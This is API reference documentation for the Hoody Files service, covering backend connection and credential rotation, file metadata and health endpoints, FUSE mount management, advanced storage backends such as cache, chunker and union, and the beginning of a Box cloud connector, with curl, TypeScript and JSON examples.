| `backends[].user` | string | Username used for connection (if applicable) |
| `backends[].connected` | boolean | Whether the backend is currently connected |
| `backends[].mount_paths` | array | Filesystem paths where this backend is mounted (empty if not mounted) |
| `backends[].created_at` | string | ISO 8601 timestamp when the backend was connected |
| `count` | integer | Number of backends returned |




### `GET /api/v1/backends/{id}`

Returns detailed information about a single backend, including the last-used timestamp when available.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Backend ID (16-character hex string) |



```bash
curl -X GET https://api.hoody.com/api/v1/backends/a1b2c3d4e5f67890 \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const result = await client.files.backends.getDetails("a1b2c3d4e5f67890");
```


```json
{
  "id": "a1b2c3d4e5f67890",
  "backend_type": "ssh",
  "server": "ssh:generic",
  "user": "deploy",
  "connected": true,
  "mount_paths": ["/mnt/storage/ssh-a1b2"],
  "created_at": "2024-01-15T10:30:00Z",
  "last_used": "2024-03-22T09:14:51Z"
}
```

| Field | Type | Description |
|-------|------|-------------|
| `id` | string | Unique backend identifier (16-char hex) |
| `backend_type` | string | Backend type (e.g., `ssh`, `s3`, `mega`, `drive`) |
| `server` | string | Server identifier (e.g., `ssh:generic`, `s3:generic`) |
| `user` | string | Username used for connection (if applicable) |
| `connected` | boolean | Whether the backend is currently connected |
| `mount_paths` | array | Filesystem paths where this backend is mounted (empty if not mounted) |
| `created_at` | string | ISO 8601 timestamp when the backend was connected |
| `last_used` | string | Last usage timestamp (if available) |




### `GET /api/v1/backends/{id}/test`

Verifies that a backend connection is still working by probing the remote.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Backend ID (16-character hex string) |



```bash
curl -X GET https://api.hoody.com/api/v1/backends/a1b2c3d4e5f67890/test \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const result = await client.files.backends.testConnection("a1b2c3d4e5f67890");
```


```json
{
  "success": true,
  "message": "Connection successful"
}
```

| Field | Type | Description |
|-------|------|-------------|
| `success` | boolean | Whether the connection probe succeeded |
| `message` | string | Human-readable result of the test |




## Update Credentials

### `PUT /api/v1/backends/{id}`

Rotates credentials on an existing backend. Use this to update passwords, OAuth tokens, S3 keys, passphrases, and similar secrets without tearing down the connection.


The backend must have no active, mounting, or unmounting mounts. Unmount first.



Some backends (e.g., S3 with strict IAM policies) may reject the credential probe even with valid credentials if root listing is disallowed. In that case, use `testBackendConnection` or disconnect and reconnect.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Backend ID (16-character hex string) |

### Request Body

The body is a JSON object containing the credential fields to update. Values must be strings, or `null` to delete a field. Common keys include `pass`, `password`, `key`, `passphrase`, `token`, `refresh_token`, `auth_token`, `bearer_token`, `session_token`, `secret`, `secret_key`, `secret_access_key`, `access_key_id`, `client_secret`, `client_id`, `service_account_credentials`, and `private_key`. No-op rotations (sending the same value already stored) succeed without contacting the remote.

```json
{
  "pass": "new-strong-password"
}
```



```bash
curl -X PUT https://api.hoody.com/api/v1/backends/a1b2c3d4e5f67890 \
  -H "Authorization: Bearer &lt;token&gt;" \
  -H "Content-Type: application/json" \
  -d '{
    "pass": "new-strong-password"
  }'
```


```typescript
const result = await client.files.backends.update("a1b2c3d4e5f67890", {
  pass: "new-strong-password"
});
```


```json
{
  "success": true,
  "message": "Backend credentials updated"
}
```

| Field | Type | Description |
|-------|------|-------------|
| `success` | boolean | Whether the update succeeded (also `true` when no changes were detected) |
| `message` | string | Human-readable result |



```json
{
  "success": false,
  "error": "Invalid request: only credential fields are allowed"
}
```


```json
{
  "success": false,
  "error": "Backend not found"
}
```


```json
{
  "success": false,
  "error": "Backend has active mounts; unmount first"
}
```


```json
{
  "success": false,
  "error": "Request body exceeds 16 KB limit"
}
```


```json
{
  "success": false,
  "error": "Internal server error"
}
```


```json
{
  "success": false,
  "error": "Credential validation failed against the remote backend"
}
```



## Disconnect

### `DELETE /api/v1/backends/{id}`

Removes a backend connection from the registry. After this call, the backend will no longer appear in `listBackends` and its stored credentials are deleted.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Backend ID (16-character hex string) |



```bash
curl -X DELETE https://api.hoody.com/api/v1/backends/a1b2c3d4e5f67890 \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const result = await client.files.backends.disconnect("a1b2c3d4e5f67890");
```


```json
{
  "success": true,
  "message": "Backend disconnected"
}
```

| Field | Type | Description |
|-------|------|-------------|
| `success` | boolean | Whether the disconnect succeeded |
| `message` | string | Human-readable result |

---

# File Metadata

**Page:** api/files/metadata

[Download Raw Markdown](./api/files/metadata.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The file metadata endpoint lets you check whether a file exists and retrieve its metadata headers using a lightweight `HEAD` request. Use it before downloading or transforming a file to verify availability without transferring the file body. This page documents the single `HEAD /api/files/metadata/{path}` operation.

## Get file metadata

Returns metadata headers for a file at the specified path. Since this is a `HEAD` request, no response body is returned; the metadata is conveyed entirely through response headers. A `200` status indicates the file exists, while a `404` indicates it was not found.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | URL-encoded path to the file relative to the metadata root (e.g. `folder/image.png`) |

### Response



File exists at the requested path.

```json
{
  "description": "File exists"
}
```



No file exists at the requested path.

```json
{
  "description": "File not found"
}
```




### SDK usage

```ts
const metadata = await client.files.getMetadata({
  path: "folder/image.png",
});
```

---

# System Monitoring

**Page:** api/files/monitoring

[Download Raw Markdown](./api/files/monitoring.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Service health check

Use this endpoint to verify that the Hoody Files service is running and to inspect runtime metadata such as build timestamp, process ID, and memory usage. It is intended for liveness/readiness probes and operational diagnostics.

### `GET /api/v1/files/health`

Returns service identity, build and start timestamps, resource usage, and caller metadata. This endpoint takes no parameters.

#### Response — `200`

A successful response indicates the service is healthy and reachable.

```json
{
  "status": "ok",
  "service": "hoody-files",
  "built": "2024-11-18T09:32:11.000Z",
  "started": "2024-11-20T14:05:47.000Z",
  "memory": {
    "heap": null,
    "rss": 87359488
  },
  "fds": 42,
  "pid": 17,
  "ip": "10.0.12.84",
  "userAgent": "curl/8.4.0"
}
```

| Field | Type | Description |
|-------|------|-------------|
| `status` | string | Service health status. Expected value: `ok`. |
| `service` | string | Service identifier (e.g. `hoody-files`). |
| `built` | string \| null | ISO 8601 build timestamp. |
| `started` | string | ISO 8601 timestamp marking when the service process started. |
| `memory` | object | Resource usage snapshot. |
| `memory.heap` | null | Always `null` for native services. |
| `memory.rss` | integer \| null | Resident set size in bytes. |
| `fds` | integer \| null | Open file descriptor count for the process. |
| `pid` | integer | Process ID of the running service. |
| `ip` | string | Caller IP address. Empty when the request arrives over a Unix socket. |
| `userAgent` | string | `User-Agent` header from the inbound request. |


The `ip` field is empty when the service is reached over a Unix domain socket rather than a TCP connection.


#### SDK usage



```bash
curl https://api.hoody.com/api/v1/files/health
```


```ts
const result = await client.files.health.check();

console.log(result.status);   // "ok"
console.log(result.service);  // "hoody-files"
console.log(result.pid);      // 17
```

---

# Advanced Backends

**Page:** api/files/mount/advanced

[Download Raw Markdown](./api/files/mount/advanced.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Hoody's advanced filesystem backends compose and extend the capabilities of standard remotes. Use these endpoints to create specialized storage layers — combining upstreams, caching cloud providers, splitting large files, aliasing paths, computing checksums, and adding in-memory or local disk storage. Each backend can then be mounted as a persistent FUSE filesystem for direct file access.


All mounts created through these endpoints are persistent and automatically restored after a server restart. There is no separate "persist" flag — every mount is permanent by default. To remove a mount, use the `DELETE /api/v1/mounts/{id}` endpoint.


## Mounts

Mounts expose connected backends as live FUSE filesystems. Use these endpoints to list existing mounts, retrieve details, create new mounts, update VFS configuration, or remove mounts.

### `GET /api/v1/mounts`

Get a list of all active filesystem mounts. Supports filtering by label via the `label` query parameter.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|----|----------|-------------|
| `label` | query | string | No | Filter mounts by label. Only mounts with this exact label will be returned. |

#### Example



```bash
curl -X GET "https://api.hoody.com/api/v1/mounts?label=Photos" \
  -H "Authorization: Bearer YOUR_TOKEN"
```


```typescript
const { mounts } = await client.files.mounts.list({ label: "Photos" });
```



#### Responses



```json
{
  "count": 2,
  "mounts": [
    {
      "id": "mount_550e8400e29b41d4a716446655440000",
      "backend_id": "bnd_550e8400e29b41d4a716446655440001",
      "label": "Photos",
      "mount_path": "/hoody/mounts/mount_550e8400e29b41d4a716446655440000",
      "status": "active",
      "created_at": 1735689600
    },
    {
      "id": "mount_550e8400e29b41d4a716446655440002",
      "backend_id": "bnd_550e8400e29b41d4a716446655440003",
      "label": "Work Documents",
      "mount_path": "/hoody/mounts/mount_550e8400e29b41d4a716446655440002",
      "status": "active",
      "created_at": 1735776000
    }
  ]
}
```



### `GET /api/v1/mounts/{id}`

Get detailed information about a specific mount, including its VFS cache configuration.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|----|----------|-------------|
| `id` | path | string | Yes | Mount ID. |

#### Example



```bash
curl -X GET "https://api.hoody.com/api/v1/mounts/mount_550e8400e29b41d4a716446655440000" \
  -H "Authorization: Bearer YOUR_TOKEN"
```


```typescript
const mount = await client.files.mounts.getDetails({
  id: "mount_550e8400e29b41d4a716446655440000"
});
```



#### Responses



```json
{
  "id": "mount_550e8400e29b41d4a716446655440000",
  "backend_id": "bnd_550e8400e29b41d4a716446655440001",
  "label": "Photos",
  "mount_path": "/hoody/mounts/mount_550e8400e29b41d4a716446655440000",
  "status": "active",
  "created_at": 1735689600,
  "vfs_config": {
    "cache_max_age": 3600,
    "cache_max_size": 10737418240,
    "cache_mode": "writes",
    "dir_cache_time": 300
  }
}
```



### `POST /api/v1/mounts`

Create a persistent FUSE filesystem mount for a connected backend, allowing direct file system access to remote storage.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `backend_id` | string | Yes | ID of an existing backend connection. |
| `label` | string | No | Human-readable label for the mount (e.g. "My NAS", "Work S3"). Used by the UI to identify the mount and to filter via `GET /api/v1/mounts?label=...`. |
| `mount_path` | string | No | Path for the mount. If omitted, defaults to `/hoody/mounts/mount_{uuid}`. Relative paths resolve under the server's mount directory. |
| `vfs_config` | object | No | VFS configuration for performance tuning. See the fields below. |

**`vfs_config` fields:**

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `cache_max_age` | integer \| string | No | `3600` | Maximum time files are cached. Accepts seconds or duration strings like `"1h"`, `"30m"`. |
| `cache_max_size` | integer \| string | No | `10737418240` | Maximum cache size in bytes (default 10GB). Accepts bytes or human-readable strings like `"10G"`, `"128M"`. |
| `cache_mode` | string | No | `"writes"` | Cache mode. One of `"off"`, `"minimal"`, `"writes"`, `"full"`. |
| `dir_cache_time` | integer \| string | No | `300` | How long directory listings are cached. Accepts seconds or duration strings like `"5m"`, `"1h"`. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/mounts" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "backend_id": "bnd_550e8400e29b41d4a716446655440001",
    "label": "Photos",
    "vfs_config": {
      "cache_mode": "full",
      "cache_max_size": "20G"
    }
  }'
```


```typescript
const mount = await client.files.mounts.create({
  data: {
    backend_id: "bnd_550e8400e29b41d4a716446655440001",
    label: "Photos",
    vfs_config: {
      cache_mode: "full",
      cache_max_size: "20G"
    }
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Mount created successfully",
  "data": {
    "id": "mount_550e8400e29b41d4a716446655440000",
    "backend_id": "bnd_550e8400e29b41d4a716446655440001",
    "label": "Photos",
    "mount_path": "/hoody/mounts/mount_550e8400e29b41d4a716446655440000",
    "status": "active"
  }
}
```



### `PATCH /api/v1/mounts/{id}`

Update the VFS configuration for an existing mount. Allows changing cache settings, buffer sizes, and other VFS parameters.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|----|----------|-------------|
| `id` | path | string | Yes | Mount ID. |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `vfs_config` | object | Yes | VFS configuration parameters. Accepts the same field set as in the create endpoint. |

#### Example



```bash
curl -X PATCH "https://api.hoody.com/api/v1/mounts/mount_550e8400e29b41d4a716446655440000" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "vfs_config": {
      "cache_mode": "full",
      "cache_max_size": "50G"
    }
  }'
```


```typescript
await client.files.mounts.update({
  id: "mount_550e8400e29b41d4a716446655440000",
  data: {
    vfs_config: {
      cache_mode: "full",
      cache_max_size: "50G"
    }
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Mount configuration updated"
}
```


```json
{
  "success": false,
  "error": "Invalid cache_mode: must be one of off, minimal, writes, full"
}
```


```json
{
  "success": false,
  "error": "Mount not found"
}
```



### `DELETE /api/v1/mounts/{id}`

Remove a mount and disconnect the FUSE filesystem.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|----|----------|-------------|
| `id` | path | string | Yes | Mount ID. |

#### Example



```bash
curl -X DELETE "https://api.hoody.com/api/v1/mounts/mount_550e8400e29b41d4a716446655440000" \
  -H "Authorization: Bearer YOUR_TOKEN"
```


```typescript
await client.files.mounts.unmount({
  id: "mount_550e8400e29b41d4a716446655440000"
});
```



#### Responses



```json
{
  "success": true,
  "message": "Mount removed successfully"
}
```


```json
{
  "success": false,
  "error": "Mount not found: mount_550e8400e29b41d4a716446655440000"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MOUNT_NOT_FOUND` | Mount not found | No mount exists with the specified ID. | Verify the mount ID is correct or list all mounts. |



## Advanced Backends

Advanced backends wrap existing remotes to add caching, chunking, checksumming, composition, and other transformations. After connecting a backend, mount it through the endpoints above to access its files through the filesystem.

### `POST /api/v1/backends/alias`

Create an alias for an existing remote or local path. Useful for exposing a deeply nested remote path under a friendly name.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `remote` | string | Yes | `""` | Remote or path to alias. Can be `"myremote:path/to/dir"`, `"myremote:bucket"`, `"myremote:"` or `"/local/path"`. |
| `description` | string | No | `""` | Human-readable description of the remote. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/backends/alias" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "remote": "s3-prod:backups/2025",
    "description": "2025 backups alias"
  }'
```


```typescript
const backend = await client.files.backends.connectAlias({
  data: {
    remote: "s3-prod:backups/2025",
    description: "2025 backups alias"
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bnd_550e8400e29b41d4a716446655440010",
    "type": "alias",
    "backend_type": "alias",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Invalid remote specification: missing ':' separator"
}
```



### `POST /api/v1/backends/cache`

Wrap a remote with a local chunk and metadata cache to reduce latency and bandwidth on repeated reads and to support Plex streaming optimizations.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `remote` | string | Yes | `""` | Remote to cache. Should contain `:` and a path, e.g. `"myremote:path/to/dir"`, `"myremote:bucket"`, or `"myremote:"` (not recommended). |
| `description` | string | No | `""` | Human-readable description of the remote. |
| `chunk_path` | string | No | `"/home/user/.cache/hoody-vfs/cache-backend"` | Directory to cache chunk files. The remote name is appended to the final path. Defaults to the value of `db_path` if not set. |
| `chunk_size` | string | No | `"5242880"` | Size of a chunk. One of `"1M"`, `"5M"`, `"10M"`. Lower values suit slower connections. Changing this invalidates existing chunks. |
| `chunk_total_size` | string | No | `"10737418240"` | Total disk space the chunks can occupy. One of `"500M"`, `"1G"`, `"10G"`. Oldest chunks are deleted when exceeded. |
| `chunk_clean_interval` | integer | No | `60` | How often (in seconds) the cache performs cleanups of the chunk storage. |
| `chunk_no_memory` | boolean | No | `false` | Disable the in-memory cache used for streaming chunks. |
| `db_path` | string | No | `"/home/user/.cache/hoody-vfs/cache-backend"` | Directory to store the file structure metadata DB. The remote name is used as the DB file name. |
| `db_purge` | boolean | No | `false` | Clear all cached data for this remote on start. |
| `db_wait_time` | integer | No | `1` | Seconds to wait for the DB to be available before failing. `0` waits forever. |
| `info_age` | integer | No | `21600` | How long (in seconds) to cache directory listings, file size, and times. Possible values: `"1h"`, `"24h"`, `"48h"`. |
| `workers` | integer | No | `4` | Number of parallel workers that download chunks. Higher values need more CPU and increase cloud API request rates. |
| `read_retries` | integer | No | `10` | How many times to retry a read from the cache storage before giving up. |
| `rps` | integer | No | `-1` | Hard limit on requests per second to the source filesystem. `-1` disables the limit. Directory listings are not throttled. |
| `writes` | boolean | No | `false` | Cache file data on writes through the filesystem so that reads right after uploads are served from cache. |
| `tmp_upload_path` | string | No | `""` | Directory used as temporary storage for new files before they are uploaded to the cloud provider. Empty disables the feature. |
| `tmp_wait_time` | integer | No | `15` | Seconds a file must wait in `tmp_upload_path` before being uploaded. |
| `plex_url` | string | No | `""` | URL of the Plex server (enables Plex integration). |
| `plex_username` | string | No | `""` | Plex username. |
| `plex_password` | string | No | `""` | Plex password. |
| `plex_token` | string | No | `""` | Plex auth token. Auto-set normally. |
| `plex_insecure` | string | No | `""` | Skip certificate verification when connecting to the Plex server. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/backends/cache" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "remote": "s3-prod:media",
    "description": "Cached media library",
    "chunk_size": "10M",
    "chunk_total_size": "10G",
    "workers": 8,
    "writes": true
  }'
```


```typescript
const backend = await client.files.backends.connectCache({
  data: {
    remote: "s3-prod:media",
    description: "Cached media library",
    chunk_size: "10M",
    chunk_total_size: "10G",
    workers: 8,
    writes: true
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bnd_550e8400e29b41d4a716446655440011",
    "type": "cache",
    "backend_type": "cache",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Failed to open cache DB: permission denied"
}
```



### `POST /api/v1/backends/chunker`

Transparently split large files on a remote into smaller chunks, useful for backends that have per-file size limits.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `remote` | string | Yes | `""` | Remote to chunk/unchunk. Should contain `:` and a path, e.g. `"myremote:path/to/dir"`, `"myremote:bucket"`, or `"myremote:"` (not recommended). |
| `description` | string | No | `""` | Human-readable description of the remote. |
| `chunk_size` | string | No | `"2147483648"` | Files larger than this size are split into chunks. |
| `name_format` | string | No | `"*.hoody-vfs_chunk.###"` | Format of chunk file names. The `*` placeholder is the base file name and one or more `#` characters are replaced with the chunk number. |
| `hash_type` | string | No | `"md5"` | How chunker handles hash sums. One of `"none"`, `"md5"`, `"sha1"`, `"md5all"`, `"sha1all"`, `"md5quick"`, `"sha1quick"`. All modes except `"none"` require metadata. |
| `meta_format` | string | No | `"simplejson"` | Format of the metadata object. One of `"none"`, `"simplejson"`. |
| `start_from` | integer | No | `1` | Minimum valid chunk number. Usually `0` or `1`. |
| `transactions` | string | No | `"rename"` | How chunker handles temporary files during transactions. One of `"rename"`, `"norename"`, `"auto"`. |
| `fail_hard` | boolean | No | `false` | How chunker should handle files with missing or invalid chunks. One of `"true"`, `"false"`. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/backends/chunker" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "remote": "s3-prod:archives",
    "description": "Chunked cold archives",
    "chunk_size": "1073741824",
    "hash_type": "sha1"
  }'
```


```typescript
const backend = await client.files.backends.connectChunker({
  data: {
    remote: "s3-prod:archives",
    description: "Chunked cold archives",
    chunk_size: "1073741824",
    hash_type: "sha1"
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bnd_550e8400e29b41d4a716446655440012",
    "type": "chunker",
    "backend_type": "chunker",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "name_format must contain exactly one '*' and at least one '#'"
}
```



### `POST /api/v1/backends/combine`

Combine several remotes into a single directory tree. Each upstream is mounted under a root directory inside the combined filesystem.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `upstreams` | string | Yes | — | Upstreams for combining, in the form `dir=remote:path dir2=remote2:path`. Embedded spaces are supported by quoting entries, e.g. `"dir=remote:path with space"`. |
| `description` | string | No | `""` | Human-readable description of the remote. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/backends/combine" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "upstreams": "photos=gdrive:photos videos=gdrive:videos",
    "description": "Combined Google Drive"
  }'
```


```typescript
const backend = await client.files.backends.connectCombine({
  data: {
    upstreams: "photos=gdrive:photos videos=gdrive:videos",
    description: "Combined Google Drive"
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bnd_550e8400e29b41d4a716446655440013",
    "type": "combine",
    "backend_type": "combine",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "upstreams must contain at least one entry in 'dir=remote:path' form"
}
```



### `POST /api/v1/backends/hasher`

Compute and cache checksums for files on another remote, exposing `md5`, `sha1`, or other supported hashes transparently.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `remote` | string | Yes | `""` | Remote to cache checksums for, e.g. `myRemote:path`. |
| `description` | string | No | `""` | Human-readable description of the remote. |
| `hashes` | string | No | `["md5","sha1"]` | Comma-separated list of supported checksum types. |
| `max_age` | integer | No | `0` | Maximum time (in seconds) to keep checksums in cache. `0` disables caching, `"off"` caches forever. |
| `auto_size` | string | No | `"0"` | Auto-update checksum for files smaller than this size. Disabled by default. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/backends/hasher" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "remote": "s3-prod:data",
    "description": "Hashed data archive",
    "hashes": "md5,sha1,blake3",
    "max_age": 86400
  }'
```


```typescript
const backend = await client.files.backends.connectHasher({
  data: {
    remote: "s3-prod:data",
    description: "Hashed data archive",
    hashes: "md5,sha1,blake3",
    max_age: 86400
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bnd_550e8400e29b41d4a716446655440014",
    "type": "hasher",
    "backend_type": "hasher",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Unsupported hash type: blake3"
}
```



### `POST /api/v1/backends/local`

Expose a directory on the server's local disk as a Hoody backend.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `description` | string | No | `""` | Human-readable description of the remote. |
| `encoding` | string | No | `"33554434"` | Backend encoding. See the encoding section in the overview for details. |
| `case_insensitive` | boolean | No | `false` | Force the filesystem to report itself as case insensitive, overriding the OS default. |
| `case_sensitive` | boolean | No | `false` | Force the filesystem to report itself as case sensitive, overriding the OS default. |
| `links` | boolean | No | `false` | Translate symlinks to/from regular files with a `.hoody-vfslink` extension. |
| `copy_links` | boolean | No | `false` | Follow symlinks and copy the pointed-to item. |
| `skip_links` | boolean | No | `false` | Don't warn about skipped symlinks or junction points. |
| `zero_size_links` | boolean | No | `false` | Assume the stat size of links is zero (and read them instead). Deprecated. |
| `unicode_normalization` | boolean | No | `false` | Apply Unicode NFC normalization to paths and file names. |
| `one_file_system` | boolean | No | `false` | Don't cross filesystem boundaries (Unix/macOS only). |
| `nounc` | boolean | No | `false` | Disable UNC (long path names) conversion on Windows. Must be `"true"` to enable. |
| `no_preallocate` | boolean | No | `false` | Disable preallocation of disk space for transferred files. |
| `no_sparse` | boolean | No | `false` | Disable sparse files for multi-thread downloads (Windows). |
| `no_check_updated` | boolean | No | `false` | Don't check whether files change during upload. Useful for filesystems with broken mtime semantics. |
| `no_set_modtime` | boolean | No | `false` | Disable setting modification time after upload. |
| `no_clone` | boolean | No | `false` | Disable reflink cloning for server-side copies (macOS APFS). |
| `time_type` | string | No | `"0"` | Which time to return for entries. One of `"mtime"`, `"atime"`, `"btime"`, `"ctime"`. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/backends/local" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "description": "Local archive drive",
    "no_preallocate": true,
    "one_file_system": true
  }'
```


```typescript
const backend = await client.files.backends.connectLocal({
  data: {
    description: "Local archive drive",
    no_preallocate: true,
    one_file_system: true
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bnd_550e8400e29b41d4a716446655440015",
    "type": "local",
    "backend_type": "local",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Invalid time_type: must be one of mtime, atime, btime, ctime"
}
```



### `POST /api/v1/backends/memory`

Expose an in-memory object store as a Hoody backend. Data is lost when the server restarts.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `description` | string | No | `""` | Human-readable description of the remote. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/backends/memory" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "description": "Ephemeral scratch space"
  }'
```


```typescript
const backend = await client.files.backends.connectMemory({
  data: {
    description: "Ephemeral scratch space"
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bnd_550e8400e29b41d4a716446655440016",
    "type": "memory",
    "backend_type": "memory",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Failed to initialize memory backend"
}
```



### `POST /api/v1/backends/union`

Merge the contents of several upstream filesystems into a single union view, with configurable policies for searches, creates, and actions.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `upstreams` | string | Yes | `""` | Space-separated list of upstreams, e.g. `"upstreama:test/dir upstreamb:"`. Quotes support embedded spaces, e.g. `"upstreama:test/space:ro dir"`. |
| `description` | string | No | `""` | Human-readable description of the remote. |
| `search_policy` | string | No | `"ff"` | Policy used to choose an upstream on SEARCH operations. |
| `create_policy` | string | No | `"epmfs"` | Policy used to choose an upstream on CREATE operations. |
| `action_policy` | string | No | `"epall"` | Policy used to choose an upstream on ACTION operations. |
| `cache_time` | integer | No | `120` | How long (in seconds) to cache usage and free-space information. Only useful with path-preserving policies. |
| `min_free_space` | string | No | `"1073741824"` | Minimum free space required for a remote to be considered by `lfs`/`eplfs` policies. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/backends/union" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "upstreams": "drive-a:photos drive-b:videos drive-c:documents",
    "description": "Combined drive view",
    "create_policy": "epmfs"
  }'
```


```typescript
const backend = await client.files.backends.connectUnion({
  data: {
    upstreams: "drive-a:photos drive-b:videos drive-c:documents",
    description: "Combined drive view",
    create_policy: "epmfs"
  }
});
```



#### Responses



```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bnd_550e8400e29b41d4a716446655440017",
    "type": "union",
    "backend_type": "union",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "upstreams must contain at least one remote"
}
```

---

# Cloud Storage

**Page:** api/files/mount/cloud

[Download Raw Markdown](./api/files/mount/cloud.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Connect cloud storage providers — Google Drive, Dropbox, OneDrive, iCloud, and many more — to Hoody's virtual filesystem. Each endpoint below creates a new backend connection with provider-specific configuration. Once connected, the backend can be mounted to a filesystem path.

All endpoints accept a JSON body with provider-specific configuration. Most fields are optional with sensible defaults; a small set of fields are required for authentication. All successful connections return `201 Created` with the new backend's identifier, and validation failures return `400 Bad Request`.


Most backends use OAuth and require no upfront credentials — the platform handles the OAuth dance on your behalf. The `data.id` returned by the connect endpoint is the backend identifier you'll use for subsequent operations (mounting, listing, etc.).


---

## Box

Connect a Box account. Supports both `user` and `enterprise` sub-types.

### `POST /api/v1/backends/box`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `access_token` | string | No | `""` | Box App Primary Access Token. Leave blank normally. |
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use the provider defaults. |
| `box_config_file` | string | No | `""` | Box App `config.json` location. Leave blank normally. |
| `box_sub_type` | string | No | `"user"` | One of: `user`, `enterprise`. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow (RFC 6749). |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `commit_retries` | integer | No | `100` | Max number of times to try committing a multipart file. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"52535298"` | The encoding for the backend. |
| `impersonate` | string | No | `""` | Impersonate this user ID when using a service account. |
| `list_chunk` | integer | No | `1000` | Size of listing chunk (1–1000). |
| `owned_by` | string | No | `""` | Only show items owned by the given login (email). |
| `root_folder_id` | string | No | `"0"` | Use a non-root folder as the starting point. |
